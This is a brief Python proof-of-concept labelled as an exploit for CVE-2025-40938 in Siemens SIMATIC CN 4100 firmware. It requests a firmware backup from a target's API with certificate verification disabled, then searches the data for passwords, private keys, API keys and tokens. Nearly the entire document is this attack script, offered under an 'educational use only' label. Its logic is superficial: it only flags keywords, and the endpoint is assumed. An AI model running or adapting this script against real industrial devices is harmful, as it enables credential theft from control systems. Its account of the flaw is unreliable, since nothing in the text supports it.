CVE-2025-40938

# CVE-2025-40938 PoC - SIMATIC CN 4100 Firmware Sensitive Information Extraction # Note: This is a conceptual PoC for educational and security research purposes only import requests import hashlib TARGET_IP = "<target_ip>" TARGET_PORT = 443 FIRMWARE_ENDPOINT = "/api/v1/firmware/backup" def extract_firmware_sensitive_info(): """ Extract sensitive information from SIMATIC CN 4100 firmware """ print(f"[*] Starting CVE-2025-40938 exploitation against {TARGET_IP}") # Step 1: Download firmware backup print("[+] Step 1: Downloading firmware backup...") firmware_url = f"https://{TARGET_IP}:{TARGET_PORT}{FIRMWARE_ENDPOINT}" try: response = requests.get(firmware_url, verify=False, timeout=30) if response.status_code == 200: firmware_data = response.content print(f"[+] Firmware downloaded successfully: {len(firmware_data)} bytes") else: print(f"[-] Failed to download firmware: HTTP {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None # Step 2: Parse firmware and extract sensitive data print("[+] Step 2: Extracting sensitive information from firmware...") sensitive_patterns = [ b'password', b'private_key', b'credentials', b'api_key', b'token' ] extracted_info = {} for pattern in sensitive_patterns: if pattern in firmware_data: print(f"[+] Found sensitive data: {pattern.decode()}") extracted_info[pattern.decode()] = "EXTRACTED" # Step 3: Save extracted information if extracted_info: print(f"[!] Sensitive information successfully extracted!") print(f"[!] Total items found: {len(extracted_info)}") return extracted_info if __name__ == "__main__": print("=" * 60) print("CVE-2025-40938 PoC - Educational Use Only") print("=" * 60) extract_firmware_sensitive_info()

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